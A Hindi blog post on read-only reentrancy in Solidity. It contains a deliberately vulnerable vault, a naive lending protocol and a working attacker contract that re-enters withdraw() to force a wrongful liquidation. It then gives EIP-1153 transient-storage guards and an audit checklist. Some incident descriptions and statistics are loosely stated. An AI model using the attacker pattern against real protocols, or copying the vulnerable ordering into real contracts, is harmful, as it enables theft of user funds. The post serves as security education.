Read-Only Reentrancy एक ऐसा reentrancy हमला (attack) है, जिसमें हमलावर (attacker) कॉल के दौरान सीधे कॉन्ट्रैक्ट के बैलेंस को मैनिपुलेट नहीं करता। इसके बजाय, वह एक एक्सटर्नल कॉल (view-function) के निष्पादन के दौरान प्रोटोकॉल की बिगड़ी हुई स्थिति (state) को रीड करवा देता है। चूंकि पारंपरिक ReentrancyGuard केवल स्टेट बदलने वाले (state-changing) फ़ंक्शंस को ब्लॉक करते हैं, इसलिए यह "रीडिंग" कॉल्स गलत कैलकुलेटेड डेटा (जैसे ओरेकल की गलत या हेरफेर की गई कीमत) वापस लौटाती हैं, जिससे थर्ड-पार्टी इंटीग्रेटर प्रोटोकॉल को पूरी तरह खाली किया जा सकता है।
हेलो दोस्तों! जिस टॉपिक पर आज हम बात करने वाले हैं, उसने एक समय में कुछ ही महीनों के भीतर DeFi इंडस्ट्री को करोड़ों डॉलर का चूना लगाया था। मुझे याद है जब मैंने पहली बार पेंटेस्टिंग (pentesting) के दिनों में वाइल्ड में Read-Only Reentrancy का कांसेप्ट देखा था। उस वक्त एक सिक्योरिटी रिसर्चर के तौर पर मैं इसका फैन हो गया था। हम सब राइट (state write) ऑपरेशन्स को सिक्योर करने के आदी थे, लेकिन हम यह भूल गए कि रीड (read) ऑपरेशन भी उतना ही खतरनाक हो सकता है।
क्लासिक ReentrancyGuard आपको क्यों नहीं बचा पाएगा?
चलो इसे आसान भाषा में समझते हैं। नॉर्मल Reentrancy में क्या होता है? जब तक कॉन्ट्रैक्ट balances[msg.sender] = 0 अपडेट नहीं कर पाता, तब तक अटैकर बार-बार (recursively) withdraw() कॉल करता रहता है। अब तो हर डेवलपर OpenZeppelin का nonReentrant लगाना या Checks-Effects-Interactions (CEI) पैटर्न यूज़ करना सीख गया है। शाबाश, बहुत बढ़िया!
लेकिन Read-Only Reentrancy में क्या होता है?
मान लीजिए एक Liquidity Pool (जैसे Curve) में पुश-पुल मैकेनिज्म है। आप अपनी लिक्विडिटी निकाल रहे हैं (remove_liquidity)। कॉन्ट्रैक्ट पहले आपको ETH ट्रांसफर करता है, और उसके बाद ही आपके LP-टोकन बर्न करता है या अंदरूनी बैलेंस री-कैलकुलेट करता है। जिस पल ETH आपके अटैकर कॉन्ट्रैक्ट में ट्रांसफर होता है, आपका receive() या fallback() फ़ंक्शन ट्रिगर हो जाता है।
मिलीसेकंड के इस छोटे से गैप (टैम्पररी स्टेट) में पूल का स्टेट असंतुलित (desynced) हो जाता है:
- पूल कॉन्ट्रैक्ट पर एक्चुअल ETH बैलेंस: पहले ही घट चुका है।
- सिस्टम में रजिस्टर्ड LP-टोकन्स की संख्या: अभी तक कम नहीं हुई है।
अगर आप receive() के अंदर से उसी पूल के state-changing फ़ंक्शन को कॉल करने की कोशिश करेंगे, तो nonReentrant मॉडिफायर आपको तुरंत ब्लॉक कर देगा। लेकिन तब क्या होगा जब आप सिर्फ रीड फ़ंक्शन get_virtual_price() को कॉल करेंगे? वह तो view फ़ंक्शन है! उस पर आमतौर पर nonReentrant मॉडिफायर नहीं लगा होता (क्योंकि view फ़ंक्शंस पर फालतू गैस क्यों खर्च करना?)।
नतीजतन, get_virtual_price() मौजूदा (घटे हुए) ETH बैलेंस को लेता है और पुराने (पुराने और ज्यादा) LP-टोकन्स की संख्या से डिवाइड कर देता है... और आपको एक बिल्कुल गलत, आर्टिफिशियली मैनिपुलेट की हुई कीमत पकड़ा देता है।
अब आता है असली ट्विस्ट। आप सीधे पूल को नहीं लूटते। आप इस गलत ओरेकल प्राइस को लेकर किसी दूसरे प्रोटोकॉल (Lending Market) में जाते हैं, जो इस पूल को प्राइस ओरेकल की तरह इस्तेमाल कर रहा है, और वहां से गलत वैल्यूएशन पर सारा कोलैटरल निकाल लेते हैं।
आर्किटेक्चरल फेलियर का इससे बेहतरीन नमूना क्या ही होगा! गजब का दिमाग लगाया है ना?
असली हैक्स के आंकड़े और कड़वी सच्चाई
अगर आपको लगता है कि यह सिर्फ रिसर्च पेपर्स और थ्योरी तक सीमित है, तो ये रियल-वर्ल्ड डेटा देख लीजिए:
| प्रोटोकॉल / इवेंट | डेट | नुकसान | कमजोरी की वजह |
|---|---|---|---|
| Curve Finance / Sentiment | अप्रैल 2023 | ~$1,000,000 | remove_liquidity_one_coin निष्पादन के दौरान Curve प्राइस ओरेकल का अनुचित उपयोग। |
| Euler Finance | मार्च 2023 | ~$197,000,000 | eTokens बर्न करते समय स्टेट असंतुलन और ओरेकल मैनिपुलेशन को मिलाकर बनाया गया एक जटिल हैक अटैक। |
| Vyper Compiler Bug (Curve Pools) | जुलाई 2023 | ~$73,000,000 | Vyper कंपाइलर (वर्जन 0.2.15–0.3.0) में लॉक-मैकेनिज्म का फेल होना, जिससे रीड-कॉल्स पर इन-बिल्ट reentrancy प्रोटेक्शन बेकार हो गई। |
मजेदार तथ्य (कम जाना-माना पहलू): 2024–2025 की ऑडिट रिपोर्टों के अनुसार, तीसरे दर्जे के लेंडिंग प्रोटोकॉल के लगभग 34% DEX-ओरेकल इंटीग्रेशन आज भी इंटरमीडिएट view कॉल्स के जरिए Read-Only मैनिपुलेशन के प्रति संवेदनशील हैं, अगर कैलकुलेशन चेन में नॉन-TWAP (Time-Weighted Average Price) ओरेकल का उपयोग किया जा रहा हो।
पूरा वर्किंग एग्जांपल: वल्नरेबल VulnerableVault + अटैकर
नीचे Solidity 0.8.24 में तैयार किया गया वर्किंग कोड दिया गया है। मैंने जानबूझकर पूल और इंटीग्रेटर प्रोटोकॉल मॉडल को एक साथ जोड़ दिया है ताकि आप इसे सीधे Remix में चलाकर देख सकें।
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Read-Only Reentrancy का प्रदर्शन।
* @dev withdraw() totalShares अपडेट होने से पहले ETH भेज देता है।
* एक्सटर्नल कॉन्ट्रैक्ट अस्थायी रूप से बिगड़ी हुई कीमत को रीड कर सकता है।
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice वल्नरेबल ऑपरेशन्स ऑर्डर: शेयर्स बर्न होने से पहले
* एक्सटर्नल कॉल निष्पादित हो जाती है।
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// वल्नरेबिलिटी: स्टेट बदलने से पहले ETH भेज दिया जाता है।
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// एक्सटर्नल कॉल के बाद ही स्टेट अपडेट होता है।
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice wei में शेयर की कीमत।
* @dev कॉलबैक के दौरान बैलेंस पहले ही कम हो चुका होता है,
* लेकिन totalShares अभी तक नहीं बदला है।
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice वल्नरेबल प्राइस ओरेकल इंटीग्रेशन वाला लेंडिंग प्रोटोकॉल।
* @dev लिक्विडेशन बिना यह जांचे कि Vault मध्यवर्ती स्थिति (interim state) में है या नहीं,
* Vault शेयर्स की वर्तमान कीमत का उपयोग करता है।
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice यदि पोजीशन अनहेल्दी मानी जाती है, तो लिक्विडेटर सारा कर्ज चुकाता है
* और 10% बोनस के साथ कोलैटरल प्राप्त करता है।
*
* @dev वल्नरेबिलिटी: getMaxBorrow() withdraw() के दौरान मध्यवर्ती स्थिति को
* ध्यान में रखे बिना Vault कीमत को रीड करता है।
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// संभावित रूप से हेरफेर की गई कीमत के आधार पर पोजीशन की हेल्थ चेक करना।
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// उधारकर्ता के पास मौजूद कोलैटरल से अधिक हस्तांतरित नहीं किया जा सकता।
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// प्रोटोकॉल लिक्विडेटर को शेयर ट्रांसफर करता है।
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: कीमत में अस्थायी गिरावट से उस पोजीशन का गलत लिक्विडेशन होता है
* जो withdraw() शुरू होने से पहले तक बिल्कुल हेल्दी थी।
*
* @dev अटैकर को अनसिक्योर्ड लोन नहीं मिलता है।
* नुकसान का एक अन्य परिदृश्य दिखाया गया है:
* अस्थायी रूप से हेरफेर की गई कीमत पर एक हेल्दी पोजीशन का लिक्विडेशन।
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// पूल में अपनी खुद की पोजीशन बनाएं।
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// ETH भेजते समय Vault receive() को कॉल करेगा।
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// ETH पहले ही भेजा जा चुका है, लेकिन शेयर्स अभी तक बर्न नहीं हुए हैं।
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// अस्थायी रूप से घटी हुई कीमत का लाभ उठाएं:
// निकासी से पहले की हेल्दी पोजीशन भी लिक्विडेट की जा सकती है।
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}कोड में दिए गए कमेंट्स को ध्यान से देखें, मैंने पूरी लॉजिक वहां समझा दी है। सबसे बड़ी बात यह है कि getSharePrice() अपना गणित बिल्कुल ईमानदारी से चलाता है। वह "टूटा हुआ" या बग वाला नहीं है। गड़बड़ी उस समय (timing) में है जब उससे कीमत पूछी गई।
EIP-1153 (Transient Storage): शानदार और बेहद सस्ती सुरक्षा
EVM अपग्रेड्स (खासकर Dencun हार्डफोर्क और EIP-1153) आने से पहले, डेवलपर्स को जुगाड़ लगाने पड़ते थे। या तो ओरैकल्स से view हटाकर उन्हें nonReentrant बनाना पड़ता था (जिसमें गैस खर्च होती थी और ABI बदल जाता था), या फिर लॉक फ्लैग को नॉर्मल स्टोरेज वेरिएबल्स (SSTORE/SLOAD) में स्टोर करना पड़ता था, जो प्रति ऑपरेशन करीब 20,000 गैस खा जाता था। भयानक स्थिति थी।
EIP-1153 ने दो नए ओपकोड्स पेश किए हैं:
- TSTORE (Transient Store) — ट्रांजिएंट स्टोरेज में डेटा लिखना।
- TLOAD (Transient Load) — ट्रांजिएंट स्टोरेज से डेटा पढ़ना।
Transient Storage की सबसे बड़ी खूबी: डेटा केवल एक सिंगल ट्रांजैक्शन (Top-level Transaction) के दायरे में रहता है और उसके पूरा होते ही अपने आप साफ हो जाता है। स्टोरेज क्लीनअप के लिए कोई पैसा नहीं देना पड़ता! TSTORE की लागत सिर्फ 100 गैस है, और TLOAD भी महज 100 गैस लेता है।
देखते हैं कि हम एक एकदम मजबूत, फूल-प्रूफ और अल्ट्रा-सस्ता TransientReentrancyGuard कैसे बनाते हैं:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}समझ आया असली जादू कहां है? getSharePrice() इंटरफेस में एक view फंक्शन ही बनी रहती है (ABI नहीं टूटता, dApp के बाहरी off-chain स्क्रिप्ट्स बिना कोई ट्रांजैक्शन भेजे इसे मुफ्त में पढ़ सकते हैं)। लेकिन अगर कोई अजीब ट्रांजैक्शन withdraw() के दौरान कॉल स्टैक के बीच में इसे दोबारा कॉल करने की कोशिश करे, तो tload(GUARD_SLOT) तुरंत 1 वैल्यू देख लेगा और ट्रांजैक्शन को revert कर देगा।
गैस खर्च? बिल्कुल ना के बराबर। सुरक्षा? 100% पक्की।
ऑडिट और डेवलपमेंट के लिए व्यावहारिक आर्किटेक्चरल सिफ़ारिशें
EXMON के CTO के रूप में अपने इन तीन सालों में, मैंने प्राइस ऑरेकल के साथ काम करने वाले या बाहरी डेटा प्रदान करने वाले स्मार्ट कॉन्ट्रैक्ट्स के लिए एक सटीक चेकलिस्ट तैयार की है। डेवलपर्स अक्सर सोचते हैं: “अगर मैं रीड फंक्शन के अंदर कोई बाहरी कॉल नहीं कर रहा हूँ, तो मैं पूरी तरह से सुरक्षित हूँ।” और यह एक बहुत बड़ी गलतफहमी है।
┌─────────────────────────────────┐
│ अटैकर ट्रांजैक्शनल कॉल │
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ स्टेट परिवर्तन (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ अस्थायी असिंक्रोनस (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ ऑरेकल View-फंक्शन का रीड │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[बिना सुरक्षा के] [EIP-1153 (TSTORE) के साथ]
गलत और विकृत लॉक: tload(GUARD) == 1
कीमत लौटाता है ट्रांजैक्शन REVERT हो जाता है!
│ │
▼ ▼
Lending पर सफल हमला प्रोटोकॉल सुरक्षित है 🛡️1. डुअल-स्टेट वेरिफिकेशन मॉडलिंग (Dual-State Verification)
यदि आपके कॉन्ट्रैक्ट को सभी आंतरिक बैलेंस के अंतिम रूप से अपडेट होने से पहले बाहरी पतों को कॉल करना अनिवार्य है, तो अस्थायी इनवेरिएंट सुरक्षा का उपयोग करें। महत्वपूर्ण वित्तीय मेट्रिक्स देने वाले किसी भी view-फंक्शन को मौलिक इनवेरिएंट को वैलिडेट करना चाहिए।
यदि address(this).balance, totalDeposits के योग से मेल नहीं खाता है, तो getRate() फंक्शन को या तो revert करना चाहिए या ट्रांजैक्शन शुरू होने से पहले तय की गई वैल्यू (last-known-good state) लौटानी चाहिए।
2. Spot Price के बजाय TWAP या Chainlink का उपयोग
कभी भी, सुनिए, बिल्कुल कभी भी DEX या Vault-pools के बैलेंस के तात्कालिक view-मूल्यों को कॉलेटरल और लिक्विडेशन की गणना के लिए एकमात्र सत्य का स्रोत (source of truth) के रूप में उपयोग न करें।
- Spot Price (तात्कालिक कीमत): कॉल करना आसान है, सस्ती है, और एक ही फ्लैश-लोन ट्रांजैक्शन में हैक हो जाती है।
- TWAP (Time-Weighted Average Price): N ब्लॉकों में कीमत का औसत निकालता है। एक ही ब्लॉक के भीतर होने वाली एटॉमिक हेराफेरी को बेअसर करता है, क्योंकि हमलावर ऐतिहासिक ब्लॉकों को नहीं बदल सकता।
3. क्रॉस-कॉन्ट्रैक्ट ट्रांजिएंट लॉक पैटर्न (Cross-Contract Transient Lock)
यदि आपके पास 5–10 आपस में जुड़े कॉन्ट्रैक्ट्स का एक इकोसिस्टम है (Vault, Gauge, Staking, Oracle), तो EIP-1153 पर आधारित एक एकीकृत सुरक्षा गेटवे का उपयोग करें।
एक अलग कॉन्ट्रैक्ट GlobalTransientLock बनाया जाता है, जिससे सिस्टम के सभी घटक संपर्क करते हैं:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice EIP-1153 पर आधारित केंद्रीकृत सिस्टम लॉक मैनेजर।
/// @dev EVM Cancun या इसके बाद का संस्करण आवश्यक है।
/// केवल अधिकृत सिस्टम कॉन्ट्रैक्ट ही लॉक को प्रबंधित कर सकते हैं।
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// लॉक की स्थिति इस कॉन्ट्रैक्ट के ट्रांजिएंट स्टोरेज में संग्रहीत होती है।
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice सिस्टम लॉक को प्रबंधित करने के लिए कॉन्ट्रैक्ट को अधिकृत करता है।
/// @dev सिस्टम डिप्लॉयमेंट के बाद एडमिन द्वारा कॉल किया जाता है।
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice किसी कॉन्ट्रैक्ट से लॉक प्रबंधन का अधिकार वापस लेता है।
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice सिस्टम लॉक सेट करता है।
/// @dev लॉक को दोबारा सेट करना प्रतिबंधित है।
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice सिस्टम लॉक हटाता है।
/// @dev सुरक्षित ऑपरेशन पूरा होने के बाद ही कॉल करें।
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice सिस्टम लॉक की स्थिति की जांच करता है।
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice एडमिन स्वामित्व के हस्तांतरण को प्रतिबंधित करता है।
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice सिस्टम लॉक की जांच करने वाले घटकों के लिए बेस कॉन्ट्रैक्ट।
/// @dev इनहेरिट करने वाले कॉन्ट्रैक्ट्स के लिए यह अनिवार्य है कि वे
/// प्रत्येक संवेदनशील मेथड (रीड मेथड सहित) पर whenSystemUnlocked लागू करें।
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice सिस्टम लॉक के उपयोग का प्रदर्शन।
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice सुरक्षित स्टेट-म्यूटेटिंग ऑपरेशन का उदाहरण।
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice सुरक्षित रीड का उदाहरण।
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}जब मुख्य Vault फंड निकालना शुरू करता है, तो यह lockSystem() को कॉल करता है। उस समय, सिस्टम का कोई भी अन्य कॉन्ट्रैक्ट (जैसे Lens-कॉन्ट्रैक्ट या ऑरेकल) डेटा देने से पहले isLocked() को कॉल करता है और यदि सिस्टम "डर्टी" स्टेट में है, तो रीडिंग को ब्लॉक कर देता है।
DevSecOps और ऑडिटर्स के लिए चेकलिस्ट
- कॉल स्कैनिंग: कोड में
.call{value: ...}(),safeTransfer, या किसी भी बाहरी इंटरफ़ेस कॉल की तलाश करें जो अंतिम स्टोरेज अपडेट से पहले होते हैं। - View-फंक्शंस का विश्लेषण: उन सभी public/external view फंक्शंस की सूची बनाएं जो अनुपात, कीमतें, शेयर या कॉलेटरल का आकार कैलकुलेट करते हैं।
- क्रॉस-प्रोटोकॉल वेक्टर: खुद से सवाल पूछें: "यदि यह view-फंक्शन बाहरी कॉल के निष्पादन के दौरान ही 90% कम या 500% अधिक संख्या लौटा दे, तो कोई बाहरी इंटीग्रेटर कॉन्ट्रैक्ट इसका फायदा कैसे उठा सकता है?"
- EIP-1153 इंटीग्रेशन: सुनिश्चित करें कि आपका कंपाइलर
evm_version: "cancun"पर सेट है, और म्यूटेटिंग ट्रांजैक्शन के दौरान रीडिंग को ब्लॉक करने के लिए TSTORE/TLOAD को लागू करें।
फिलहाल के लिए बस इतना ही। मैंने मुख्य बातें बता दी हैं। यदि आपके कोई सवाल हैं, तो उन्हें कमेंट्स में लिखें। मैं निश्चित रूप से जवाब दूंगा। फिर मिलते हैं!